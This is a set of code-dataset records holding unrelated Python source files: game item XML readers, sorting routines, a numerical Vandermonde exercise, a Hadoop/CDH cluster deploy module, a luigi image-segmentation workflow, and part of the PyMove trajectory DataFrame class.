= ix.readInt(xmlCtx, iSection, 'id', 1)\n iCtx = (xmlCtx, 'id %s' % priceGroup.id)\n if priceGroup.id in cache.priceGroups:\n ix.raiseWrongXml(iCtx, 'id', 'duplicate price group id')\n priceGroup.name = intern(ix.readString(iCtx, iSection, 'name'))\n if priceGroup.name in cache.priceGroupNames:\n ix.raiseWrongXml(iCtx, 'id', 'duplicate price group name \"%s\"' % priceGroup.name)\n priceGroup.notInShop = iSection.readBool('notInShop', False)\n iv._readPriceForItem(iCtx, iSection, priceGroup.compactDescr)\n if iSection.has_key('tags'):\n tags = iSection.readString('tags').split()\n priceGroup.tags = frozenset(map(intern, tags))\n for tag in priceGroup.tags:\n cache.priceGroupTags.setdefault(tag, []).append(priceGroup)\n\n cache.priceGroupNames[priceGroup.name] = priceGroup.id\n cache.priceGroups[priceGroup.id] = priceGroup\n\n\ndef _readFonts(cache, xmlCtx, section, sectionName):\n for tag, iSection in section.items():\n if tag != sectionName:\n continue\n font = cc.Font()\n font.id = ix.readInt(xmlCtx, iSection, 'id', 1)\n iCtx = (xmlCtx, 'id %s' % font.id)\n if font.id in cache.fonts:\n ix.raiseWrongXml(iCtx, 'id', 'duplicate price group id')\n font.texture = ix.readString(xmlCtx, iSection, 'texture')\n font.alphabet = ix.readString(xmlCtx, iSection, 'alphabet')\n if iSection.has_key('mask'):\n font.mask = ix.readString(xmlCtx, iSection, 'mask')\n cache.fonts[font.id] = font\n\n\ndef _readDefaultColors(cache, xmlCtx, section, sectionName):\n for tag, iSection in section.items():\n if tag != sectionName:\n continue\n nation = ix.readString(xmlCtx, iSection, 'nation')\n colors = []\n scolors = iSection['colors']\n for idx, (ctag, csection) in enumerate(scolors.items()):\n colors.append(iv._readColor((xmlCtx, 'color {}'.format(idx)), scolors, ctag))\n\n cache.defaultColors[nations.INDICES[nation]] = tuple(colors)\n\n\ndef readFlagEnum(xmlCtx, section, subsectionName, enumClass, defaultValue=None):\n result = 0\n if not section.has_key(subsectionName) and defaultValue is not None:\n return defaultValue\n else:\n for value in ix.readNonEmptyString(xmlCtx, section, subsectionName).split():\n valueInt = getattr(enumClass, value, None)\n if valueInt is None:\n ix.raiseWrongSection(xmlCtx, subsectionName)\n result |= valueInt\n\n return result\n\n\ndef readEnum(xmlCtx, section, subsectionName, enumClass, defaultValue=None):\n if not section.has_key(subsectionName) and defaultValue is not None:\n return defaultValue\n else:\n value = ix.readNonEmptyString(xmlCtx, section, subsectionName).upper()\n valueInt = getattr(enumClass, value, None)\n if valueInt is None:\n ix.raiseWrongXml(xmlCtx, subsectionName, 'Invalid enum value %s in class %s' % (value, enumClass))\n return valueInt\n\n\n__xmlReaders = {cc.PaintItem: PaintXmlReader(),\n cc.DecalItem: DecalXmlReader(),\n cc.ProjectionDecalItem: ProjectionDecalXmlReader(),\n cc.CamouflageItem: CamouflageXmlReader(),\n cc.ModificationItem: ModificationXmlReader(),\n cc.StyleItem: StyleXmlReader(),\n cc.InsigniaItem: InsigniaXmlReader(),\n cc.PersonalNumberItem: PersonalNumberXmlReader()}\n","sub_path":"source/res/scripts/common/items/readers/c11n_readers.py","file_name":"c11n_readers.py","file_ext":"py","file_size_in_byte":20956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"535409299","text":"#!/usr/bin/env python\n\n\"\"\"\nCopyright 2013 Artur Szajdecki\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n\thttp://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\n\ndef CombSort(Array):\n gap = len(Array)\n swaps = True\n while gap > 1 or swaps:\n gap = max(1, int(gap / 1.25))\n swaps = False\n for i in range(len(Array) - gap):\n j = i+gap\n if Array[i] > Array[j]:\n Array[i], Array[j] = Array[j], Array[i]\n swaps = True\n","sub_path":"Sorting/Comb_Sort.py","file_name":"Comb_Sort.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"519327886","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Oct 16 17:44:59 2021\n\n@author: Bruno\n\"\"\"\n\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Sep 28 14:59:51 2021\n\n@author: Bruno\n\"\"\"\n#CONFIGURAÇÔES \n# Sempre usar no cabeçalho (préambulo) matplotlib e scypi\n# Os erros aqui no cabeçalho são devidos ao não uso dos pacotes durante o código,\n# um dos erros permite identificar funções onde não especifiquei de qual pacote vem e \n# o outro apenas alerta que o pacote não foi usado. \n\nfrom scipy import *\nfrom matplotlib import * \nimport numpy as np\nimport matplotlib.pyplot as plt\nimport math as mt\nimport scipy.linalg as sl\n\n# --------------------------- Exercício 4.2 -------------------------------------------------------\n# Este exercício vamos resolver com uma matriz 3x3 pois a solução com uma matriz \n# 5x5 ficam muito distante devido ao tamanho dos números. Dependendo dos números aleatórios gerados\n# A matriz é singular ou a solução não fica muito próxima.\n\" Queremos construir a matriz de Vandermonde definindo um vetor x aleatório\"\n# x = np.random.randint(1.,5.,(3,)) #retorna um vetor x de 6 entradas inteira entre 1 e 5\n# print(x)\n# V = np.array([x**2,x**1, x**0])\n# V = V.T\n# print(V)\n# y = np.random.randint(1., 4., (3,))\n# print(y)\n# a = sl.solve(V,y)\n# print(a)\n# print(np.allclose(np.dot(V,a),y))\n\n\n################ Feito sem a escolha aleatória \nx = np.arange(0, 3, 0.5)\ny = np.array([-2.0, 0.5, -2.0, 1.0, -0.5, 1.0])\nV = np.array([x**i for i in np.arange(6)])\nV = V.T\nprint(V)\na = sl.solve(V,y)\nprint(a)\nprint(np.allclose(np.dot(V,a),y))\n#--------------------------------------------------------------------------------------\n\n# Definindo duas formas diferentes de fazer a função Poly\n\ndef poly(z):\n Z = np.array([z**i for i in np.arange(6)])\n return np.sum(a*Z)\n\ndef poly1(z):\n p = 0\n for i in np.arange(6):\n p = p + a[5-i]*z**i\n return p\nxvals = np.linspace(0.5, 2, 10)\nplt.plot(xvals, poly1(xvals))\nplt.scatter(x, y, marker = \"*\", norm = True)\nplt.show()\n\n\"\"\"Não consigo entender porque os pontos ficam distribuidos daquela forma, possívelmente\né a escala de y, porque a função poly explode muito facilmente...\n\"\"\"","sub_path":"Scientific_Computation/Cap4/Exerc2Cap4_Precisaterminar.py","file_name":"Exerc2Cap4_Precisaterminar.py","file_ext":"py","file_size_in_byte":2177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"22735331","text":"#cove.py\n#j.paul daigle\n#Cover object contains the basic description of a cover and the function overrides for comparison and printing\n\nclass Cover(object):\n def __init__(self, n):\n self.node_list = n\n self.lifetime = ()\n self.degree = 0\n self.on = 0\n self.covered = False\n\n def __eq__(self, other):\n return id(self) == id(other)\n\n def __ne__(self, other):\n return id(self) != id(other)\n\n def __cmp__(self, other):\n if self.degree < other.degree:\n return -1\n elif self.degree > other.degree:\n return 1\n elif self.lifetime > other.lifetime:\n return -1\n elif self.lifetime < other.lifetime:\n return 1\n elif self.on < other.on:\n return -1\n elif self.on > other.on:\n return 1\n else:\n if min(self.node_list) < min(other.node_list):\n return -1\n elif min(other.node_list) < min(self.node_list):\n return 1\n else:\n x = self.node_list.difference(other.node_list)\n y = other.node_list.difference(self.node_list)\n if len(x) == 0:\n return 1\n elif len(y) == 0:\n return -1\n elif min(x) < min(y):\n return -1\n else:\n return 1\n\n def __repr__(self):\n return (\"%s, l:%s, d%s, o:%s\" %(self.node_list, self.lifetime, self.degree, self.on))\n \n","sub_path":"cove.py","file_name":"cove.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"409112623","text":"# -*- coding:utf-8 -*-\n\n\ndef is_inside(p: list, cp: list) -> bool:\n return (cp[0] - p[0]) * (cp[0] - p[0]) + (cp[1] - p[1]) * (cp[1] - p[1]) <= cp[2] * cp[2]\n\n\ndef main():\n result = 0\n sp = list(map(int, input().split())) # 出発地点\n fp = list(map(int, input().split())) # ゴール地点\n n = int(input()) # 円の数\n for i in range(n):\n data = list(map(int, input().split()))\n\n sp_inside = is_inside(sp, data)\n fp_inside = is_inside(fp, data)\n if sp_inside ^ fp_inside: # 同じ円の中に入っている場合はカウントしない\n result += 1\n print(result)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"Barbed wire problem/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"28530332","text":"arr=[2,4,1,8,7,6,5,11,3]\n\ndef insertSort(arr):\n count=len(arr)\n for i in range(1,count):\n #i表示从位置1开始向右遍历,第一个元素位置0是已排序好的\n print('i:'+str(i))\n for j in range(i,0,-1):\n #j代表当前已排序的数字的结束位置\n print('j:'+str(j))\n if arr[j-1]>arr[j]:\n arr[j-1],arr[j]=arr[j],arr[j-1]\n\n return arr\n\nif __name__==\"__main__\":\n print(insertSort(arr))\n","sub_path":"0015/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"397124058","text":"# Copyright (c) 2016 Mirantis Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n# implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom sahara.i18n import _\nfrom sahara.plugins.cdh import commands as cmd\nfrom sahara.plugins.cdh import deploy as common_deploy\nfrom sahara.plugins.cdh.v5_11_0 import cloudera_utils as cu\nfrom sahara.plugins import utils as gu\nfrom sahara.service.edp import hdfs_helper as h\nfrom sahara.utils import cluster_progress_ops as cpo\n\nCU = cu.ClouderaUtilsV5110()\n\nPACKAGES = common_deploy.PACKAGES\n\n\ndef configure_cluster(cluster):\n instances = gu.get_instances(cluster)\n\n if not cmd.is_pre_installed_cdh(CU.pu.get_manager(cluster).remote()):\n CU.pu.configure_os(instances)\n CU.pu.install_packages(instances, PACKAGES)\n\n CU.pu.start_cloudera_agents(instances)\n CU.pu.start_cloudera_manager(cluster)\n CU.update_cloudera_password(cluster)\n CU.configure_rack_awareness(cluster)\n CU.await_agents(cluster, instances)\n CU.create_mgmt_service(cluster)\n CU.create_services(cluster)\n CU.configure_services(cluster)\n CU.configure_instances(instances, cluster)\n CU.deploy_configs(cluster)\n\n\n@cpo.event_wrapper(\n True, step=_(\"Start roles: NODEMANAGER, DATANODE\"), param=('cluster', 0))\ndef _start_roles(cluster, instances):\n for instance in instances:\n if 'HDFS_DATANODE' in instance.node_group.node_processes:\n hdfs = CU.get_service_by_role('DATANODE', instance=instance)\n CU.start_roles(hdfs, CU.pu.get_role_name(instance, 'DATANODE'))\n\n if 'YARN_NODEMANAGER' in instance.node_group.node_processes:\n yarn = CU.get_service_by_role('NODEMANAGER', instance=instance)\n CU.start_roles(yarn, CU.pu.get_role_name(instance, 'NODEMANAGER'))\n\n\ndef scale_cluster(cluster, instances):\n if not instances:\n return\n\n if not cmd.is_pre_installed_cdh(instances[0].remote()):\n CU.pu.configure_os(instances)\n CU.pu.install_packages(instances, PACKAGES)\n\n CU.pu.start_cloudera_agents(instances)\n CU.await_agents(cluster, instances)\n CU.configure_rack_awareness(cluster)\n CU.configure_instances(instances, cluster)\n CU.update_configs(instances)\n common_deploy.prepare_scaling_kerberized_cluster(\n cluster, CU, instances)\n\n CU.pu.configure_swift(cluster, instances)\n _start_roles(cluster, instances)\n CU.refresh_datanodes(cluster)\n CU.refresh_yarn_nodes(cluster)\n CU.restart_stale_services(cluster)\n\n\ndef decommission_cluster(cluster, instances):\n dns = []\n dns_to_delete = []\n nms = []\n nms_to_delete = []\n for i in instances:\n if 'HDFS_DATANODE' in i.node_group.node_processes:\n dns.append(CU.pu.get_role_name(i, 'DATANODE'))\n dns_to_delete.append(\n CU.pu.get_role_name(i, 'HDFS_GATEWAY'))\n\n if 'YARN_NODEMANAGER' in i.node_group.node_processes:\n nms.append(CU.pu.get_role_name(i, 'NODEMANAGER'))\n nms_to_delete.append(\n CU.pu.get_role_name(i, 'YARN_GATEWAY'))\n\n if dns:\n CU.decommission_nodes(\n cluster, 'DATANODE', dns, dns_to_delete)\n\n if nms:\n CU.decommission_nodes(\n cluster, 'NODEMANAGER', nms, nms_to_delete)\n\n CU.delete_instances(cluster, instances)\n\n CU.refresh_datanodes(cluster)\n CU.refresh_yarn_nodes(cluster)\n CU.restart_stale_services(cluster)\n\n\n@cpo.event_wrapper(True, step=_(\"Prepare cluster\"), param=('cluster', 0))\ndef _prepare_cluster(cluster):\n if CU.pu.get_oozie(cluster):\n CU.pu.install_extjs(cluster)\n\n if CU.pu.get_hive_metastore(cluster):\n CU.pu.configure_hive(cluster)\n\n if CU.pu.get_sentry(cluster):\n CU.pu.configure_sentry(cluster)\n\n\n@cpo.event_wrapper(\n True, step=_(\"Finish cluster starting\"), param=('cluster', 0))\ndef _finish_cluster_starting(cluster):\n if CU.pu.get_hive_metastore(cluster):\n CU.pu.put_hive_hdfs_xml(cluster)\n\n server = CU.pu.get_hbase_master(cluster)\n if CU.pu.c_helper.is_hbase_common_lib_enabled(cluster) and server:\n with server.remote() as r:\n h.create_hbase_common_lib(r)\n\n if CU.pu.get_flumes(cluster):\n flume = CU.get_service_by_role('AGENT', cluster)\n CU.start_service(flume)\n\n\ndef start_cluster(cluster):\n _prepare_cluster(cluster)\n\n CU.first_run(cluster)\n\n CU.pu.configure_swift(cluster)\n\n if len(CU.pu.get_jns(cluster)) > 0:\n CU.enable_namenode_ha(cluster)\n # updating configs for NameNode role on needed nodes\n CU.update_role_config(CU.pu.get_secondarynamenode(cluster),\n 'HDFS_NAMENODE')\n\n if CU.pu.get_stdb_rm(cluster):\n CU.enable_resourcemanager_ha(cluster)\n # updating configs for ResourceManager on needed nodes\n CU.update_role_config(CU.pu.get_stdb_rm(cluster), 'YARN_STANDBYRM')\n\n _finish_cluster_starting(cluster)\n\n common_deploy.setup_kerberos_for_cluster(cluster, CU)\n\n\ndef get_open_ports(node_group):\n ports = common_deploy.get_open_ports(node_group)\n return ports\n","sub_path":"sahara/plugins/cdh/v5_11_0/deploy.py","file_name":"deploy.py","file_ext":"py","file_size_in_byte":5508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"143261082","text":"#! /g/kreshuk/pape/Work/software/conda/miniconda3/envs/cluster_env/bin/python\n\nimport os\nimport sys\nimport json\n\nimport luigi\nimport h5py\nimport z5py\n\nfrom .. import MulticutSegmentationWorkflow\nfrom ...multicut import SubSolutionsWorkflow\n\n\ndef run(shebang, with_rf=False):\n input_path = '/home/cpape/Work/data/isbi2012/cluster_example/isbi_train.n5'\n example_path = './isbi_exp.n5'\n input_key = 'volumes/affinties'\n\n max_jobs = 8\n configs = MulticutSegmentationWorkflow.get_config()\n\n global_conf = configs['global']\n global_conf.update({'shebang': shebang,\n 'block_shape': (25, 256, 256)})\n with open('./configs/global.config', 'w') as f:\n json.dump(global_conf, f)\n\n ws_conf = configs['watershed']\n ws_conf.update({'sigma_weights': 0, 'channel_begin': 1, 'channel_end': 3})\n with open('./configs/watershed.config', 'w') as f:\n json.dump(ws_conf, f)\n\n if with_rf:\n feat_config = configs['block_edge_features']\n feat_config.update({'filters': ['gaussianSmoothing', 'laplacianOfGaussian'],\n 'sigmas': [1., 2., 4.], 'apply_in_2d': True})\n rf_path = './rf.pkl'\n else:\n feat_config = configs['block_edge_features']\n feat_config.update({'offsets': [[-1, 0, 0], [0, -1, 0], [0, 0, -1]]})\n rf_path = ''\n\n with open('./configs/block_edge_features.config', 'w') as f:\n json.dump(feat_config, f)\n\n ret = luigi.build([MulticutSegmentationWorkflow(input_path=input_path,\n input_key='volumes/affinities',\n ws_path=example_path,\n ws_key='volumes/watersheds',\n problem_path=example_path,\n node_labels_path=example_path,\n node_labels_key='node_labels',\n output_path=example_path,\n output_key='volumes/segmentation',\n rf_path=rf_path,\n n_scales=1,\n config_dir='./configs',\n tmp_folder='./tmp',\n target='local',\n max_jobs=max_jobs)], local_scheduler=True)\n if ret:\n from cremi_tools.viewer.volumina import view\n with z5py.File(input_path) as f:\n affs = f['volumes/affinities'][:3].transpose((1, 2, 3, 0))\n with z5py.File(example_path) as f:\n ws = f['volumes/watersheds'][:]\n data = [affs, ws]\n if 'volumes/segmentation' in f:\n seg = f['volumes/segmentation'][:]\n data.append(seg)\n view(data)\n\n\ndef subsolutions(shebang):\n input_path = '/home/cpape/Work/data/isbi2012/isbi2012_train_volume.h5'\n aff_path = '/home/cpape/Work/data/isbi2012/cluster_example/isbi_train.n5'\n example_path = './isbi_exp.n5'\n\n max_jobs = 8\n configs = SubSolutionsWorkflow.get_config()\n\n global_conf = configs['global']\n global_conf.update({'shebang': shebang,\n 'block_shape': (25, 256, 256)})\n with open('./configs/global.config', 'w') as f:\n json.dump(global_conf, f)\n\n ret = luigi.build([SubSolutionsWorkflow(ws_path=example_path,\n ws_key='volumes/watersheds',\n problem_path=example_path,\n output_path=example_path,\n output_key='volumes/sub_results',\n n_scales=0,\n config_dir='./configs',\n tmp_folder='./tmp',\n target='local',\n max_jobs=max_jobs)], local_scheduler=True)\n ret = False\n if ret:\n from cremi_tools.viewer.volumina import view\n with h5py.File(input_path) as f:\n raw = f['volumes/raw'][:]\n with z5py.File(aff_path) as f:\n affs = f['volumes/affinities'][:3].transpose((1, 2, 3, 0))\n with z5py.File(example_path) as f:\n ws = f['volumes/watersheds'][:]\n seg = f['volumes/segmentation'][:]\n subseg = f['volumes/sub_results'][:]\n data = [raw, affs, ws, subseg, seg]\n labels = ['raw', 'affs', 'ws', 'sub-segmentations', 'segmentation']\n view(data, labels)\n\n\nif __name__ == '__main__':\n shebang = '#! /home/cpape/Work/software/conda/miniconda3/envs/affogato/bin/python'\n run(shebang, with_rf=False)\n # subsolutions(shebang)\n","sub_path":"example/isbi2012/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":5029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"160106478","text":"import time\n\nimport dask\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom dask.dataframe import DataFrame\n\nfrom pymove.core import MoveDataFrameAbstractModel\nfrom pymove.core.grid import Grid\nfrom pymove.utils.constants import (\n DATE,\n DATETIME,\n DAY,\n DAY_PERIODS,\n DIST_PREV_TO_NEXT,\n DIST_TO_NEXT,\n DIST_TO_PREV,\n HOUR,\n HOUR_COS,\n HOUR_SIN,\n LATITUDE,\n LONGITUDE,\n MOVE,\n PERIOD,\n SITUATION,\n SPEED_PREV_TO_NEXT,\n SPEED_TO_NEXT,\n SPEED_TO_PREV,\n STOP,\n TID,\n TIME_PREV_TO_NEXT,\n TIME_TO_NEXT,\n TIME_TO_PREV,\n TRAJ_ID,\n TYPE_DASK,\n TYPE_PANDAS,\n UID,\n WEEK_DAYS,\n WEEK_END,\n)\nfrom pymove.utils.conversions import lat_meters\nfrom pymove.utils.distances import haversine\nfrom pymove.utils.log import progress_bar\nfrom pymove.utils.mem import begin_operation, end_operation\nfrom pymove.utils.trajectories import format_labels, shift\n\n\nclass MoveDataFrame:\n @staticmethod\n def __new__(\n self,\n data,\n latitude=LATITUDE,\n longitude=LONGITUDE,\n datetime=DATETIME,\n traj_id=TRAJ_ID,\n type_=TYPE_PANDAS,\n n_partitions=1,\n ):\n self.type = type_\n\n if type_ == TYPE_PANDAS:\n return PandasMoveDataFrame(\n data, latitude, longitude, datetime, traj_id\n )\n if type_ == TYPE_DASK:\n return DaskMoveDataFrame(\n data, latitude, longitude, datetime, traj_id, n_partitions\n )\n\n @staticmethod\n def has_columns(data):\n \"\"\"\n Checks whether the received dataset has 'lat', 'lon', 'datetime'\n columns.\n\n Parameters\n ----------\n data : dict, list, numpy array or pandas.core.DataFrame.\n Input trajectory data.\n\n Returns\n -------\n bool\n Represents whether or not you have the required columns.\n\n \"\"\"\n\n cols = data.columns\n if LATITUDE in cols and LONGITUDE in cols and DATETIME in cols:\n return True\n return False\n\n @staticmethod\n def validate_move_data_frame(data):\n \"\"\"\n Converts the column type to the default type used by PyMove lib.\n\n Parameters\n ----------\n data : dict, list, numpy array or pandas.core.DataFrame.\n Input trajectory data.\n\n Raises\n ------\n AttributeError\n If the data types can't be converted.\n\n \"\"\"\n\n try:\n if data.dtypes.lat != 'float64':\n data.lat = data.lat.astype('float64')\n if data.dtypes.lon != 'float64':\n data.lon = data.lon.astype('float64')\n if data.dtypes.datetime != 'datetime64[ns]':\n data.datetime = data.datetime.astype('datetime64[ns]')\n except AttributeError:\n print(AttributeError)\n\n\nclass PandasMoveDataFrame(pd.DataFrame, MoveDataFrameAbstractModel):\n def __init__(\n self,\n data,\n latitude=LATITUDE,\n longitude=LONGITUDE,\n datetime=DATETIME,\n traj_id=TRAJ_ID,\n ):\n \"\"\"\n Checks whether past data has 'lat', 'lon', 'datetime' columns,\n and renames it with the PyMove lib standard. After starts the\n attributes of the class.\n\n - self._data : Represents trajectory data.\n - self._type : Represents the type of layer below the data structure.\n - self.last_operation : Represents the last operation performed.\n\n Parameters\n ----------\n data : dict, list, numpy array or pandas.core.DataFrame.\n Input trajectory data.\n latitude : str, optional, default 'lat'.\n Represents column name latitude.\n longitude : str, optional, default 'lon'.\n Represents column name longitude.\n datetime : str, optional, default 'datetime'.\n Represents column name datetime.\n traj_id : str, optional, default 'id'.\n Represents column name trajectory id.\n\n Raises\n ------\n AttributeError\n If the data doesn't contains one of the columns\n LATITUDE, LONGITUDE, DATETIME.\n\n \"\"\"\n\n if isinstance(data, dict):\n data = pd.DataFrame.from_dict(data)\n elif (\n (isinstance(data, list) or isinstance(data, np.ndarray))\n and len(data) >= 4\n ):\n zip_list = [LATITUDE, LONGITUDE, DATETIME, TRAJ_ID]\n for i in range(len(data[0])):\n try:\n zip_list[i] = zip_list[i]\n except KeyError:\n zip_list.append(i)\n data = pd.DataFrame(data, columns=zip_list)\n\n mapping_columns = format_labels(traj_id, latitude, longitude, datetime)\n tdf = data.rename(columns=mapping_columns)\n\n if MoveDataFrame.has_columns(tdf):\n MoveDataFrame.validate_move_data_frame(tdf)\n self._data = tdf\n self._type = TYPE_PANDAS\n self.last_operation = None\n else:\n\n raise AttributeError(\n 'Couldn\\'t instantiate MoveDataFrame because data has missing columns.'\n )\n\n @property\n def lat(self):\n \"\"\"Checks for the 'lat' column and returns its value.\"\"\"\n if LATITUDE not in self:\n raise AttributeError(\n \"The MoveDataFrame does not contain the column '%s.'\"\n % LATITUDE\n )\n return self._data[LATITUDE]\n\n @property\n def lng(self):\n \"\"\"Checks for the 'lon' column and returns its value.\"\"\"\n if LONGITUDE not in self:\n raise AttributeError(\n \"The MoveDataFrame does not contain the column '%s.'\"\n % LONGITUDE\n )\n return self._data[LONGITUDE]\n\n @property\n def datetime(self):\n \"\"\"Checks for the 'datetime' column and returns its value.\"\"\"\n if DATETIME not in self:\n raise AttributeError(\n \"The MoveDataFrame does not contain the column '%s.'\"\n % DATETIME\n )\n return self._data[DATETIME]\n\n @property\n def loc(self):\n \"\"\"\n Access a group of rows and columns by label(srs) or a boolean array.\n\n .loc[] is primarily label based, but may also be used with a boolean\n array.\n\n Allowed inputs are:\n - A single label, e.g. 5 or 'a', (note that 5 is interpreted as a\n label of the index, and never as an integer position along the index).\n - A list or array of labels, e.g. ['a', 'b', 'c'].\n - A slice object with labels, e.g. 'a':'f'.\n Warning Note that contrary to usual python slices,\n both the start and the stop are included.\n A boolean array of the same length as the axis\n being sliced, e.g. [True, False, True].\n - A callable function with one argument\n (the calling Series or DataFrame) and that returns\n valid output for indexing (one of the above)\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.loc.html\n\n \"\"\"\n\n operation = begin_operation('loc')\n loc_ = self._data.loc\n self.last_operation = end_operation(operation)\n\n return loc_\n\n @property\n def iloc(self):\n \"\"\"\n Purely integer-location based indexing for selection by position.\n\n .iloc[] is primarily integer position based (from 0 to length-1 of the\n axis), but may also be used with a boolean array.\n\n Allowed inputs are:\n - An integer, e.g. 5.\n - A list or array of integers, e.g. [4, 3, 0].\n - A slice object with ints, e.g. 1:7.\n - A boolean array.\n - A callable function with one argument\n (the calling Series or DataFrame) and that returns valid\n output for indexing (one of the above). This is useful in\n method chains, when you don't have a reference to the calling\n object, but would like to base your selection on some value.\n\n .iloc will raise IndexError if a requested indexer is out-of-bounds,\n except slice indexers which allow out-of-bounds indexing\n (this conforms with python/numpy slice semantics).\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.iloc.html\n\n \"\"\"\n\n operation = begin_operation('iloc')\n iloc_ = self._data.iloc\n self.last_operation = end_operation(operation)\n\n return iloc_\n\n @property\n def at(self):\n \"\"\"\n Access a single value for a row/column label pair.\n Similar to loc, in that both provide label-based lookups.\n Use at if you only need to get or set a single value\n in a DataFrame or Series.\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.at.html#pandas.DataFrame.at\n\n \"\"\"\n\n operation = begin_operation('at')\n at_ = self._data.at\n self.last_operation = end_operation(operation)\n\n return at_\n\n @property\n def values(self):\n \"\"\"\n Return a Numpy representation of the DataFrame.\n Only the values in the DataFrame will be returned,\n the axes labels will be removed. Warning We\n recommend using DataFrame.to_numpy() instead.\n\n Returns\n -------\n numpy.ndarray\n The values of the DataFrame.\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.values.html\n\n \"\"\"\n\n operation = begin_operation('values')\n values_ = self._data.values\n self.last_operation = end_operation(operation)\n\n return values_\n\n @property\n def columns(self):\n \"\"\"\n The column labels of the DataFrame.\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.columns.html#pandas.DataFrame.columns\n\n \"\"\"\n\n return self._data.columns\n\n @property\n def index(self):\n \"\"\"\n The index (row labels) of the DataFrame.\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.index.html#pandas.DataFrame.index\n\n \"\"\"\n\n operation = begin_operation('index')\n index_ = self._data.index\n self.last_operation = end_operation(operation)\n\n return index_\n\n @property\n def dtypes(self):\n \"\"\"\n Return the dtypes in the DataFrame. This returns a Series with\n the data type of each column. The result'srs index is the original\n DataFrame'srs columns. Columns with mixed types are stored with the\n object dtype. See the User Guide for more.\n\n Returns\n -------\n pandas.Series\n The data type of each column.\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.dtypes.html\n\n \"\"\"\n\n operation = begin_operation('dtypes')\n dtypes_ = self._data.dtypes\n self.last_operation = end_operation(operation)\n return dtypes_\n\n @property\n def shape(self):\n \"\"\"\n Return a tuple representing the dimensionality of the DataFrame.\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.shape.html\n\n \"\"\"\n\n operation = begin_operation('shape')\n shape_ = self._data.shape\n self.last_operation = end_operation(operation)\n return shape_\n\n def len(self):\n \"\"\"\n Returns the length/row numbers in trajectory data.\n\n Returns\n -------\n int\n Represents the trajectory data length.\n\n \"\"\"\n\n operation = begin_operation('len')\n len_ = self._data.shape[0]\n self.last_operation = end_operation(operation)\n\n return len_\n\n def unique(self, values):\n \"\"\"\n Return unique values of Series object. Uniques are returned\n in order of appearance.\n Hash table-based unique, therefore does NOT sort.\n\n Parameters\n ----------\n values : array, list, series or dataframe.\n The set of values to identify unique occurrences.\n\n Returns\n -------\n ndarray or ExtensionArray\n The unique values returned as a NumPy array.\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.Series.unique.html\n\n \"\"\"\n operation = begin_operation('unique')\n unique_ = self._data.unique(values)\n self.last_operation = end_operation(operation)\n\n return unique_\n\n def __setitem__(self, attr, value):\n \"\"\"Modifies and item in this object.\"\"\"\n self.__dict__['_data'][attr] = value\n\n def __getitem__(self, name):\n \"\"\"Retrieves and item from this object.\"\"\"\n try:\n item = self.__dict__['_data'][name]\n if (\n isinstance(item, pd.DataFrame)\n and MoveDataFrame.has_columns(item)\n ):\n return PandasMoveDataFrame(item)\n return item\n except Exception as e:\n raise e\n\n def head(self, n=5):\n \"\"\"\n Return the first n rows.\n\n This function returns the first n rows for the object\n based on position. It is useful for quickly testing if\n your object has the right type of data in it.\n\n Parameters\n ----------\n n : int, default 5.\n Number of rows to select.\n\n Returns\n -------\n same type as caller\n The first n rows of the caller object.\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.head.html\n\n \"\"\"\n\n operation = begin_operation('head')\n head_ = self._data.head(n)\n self.last_operation = end_operation(operation)\n\n return head_\n\n def tail(self, n=5):\n \"\"\"\n Return the last n rows.\n\n This function returns the last n rows for the object\n based on position. It is useful for quickly testing if\n your object has the right type of data in it.\n\n Parameters\n ----------\n n : int, default 5.\n Number of rows to select.\n\n Returns\n -------\n same type as caller\n The last n rows of the caller 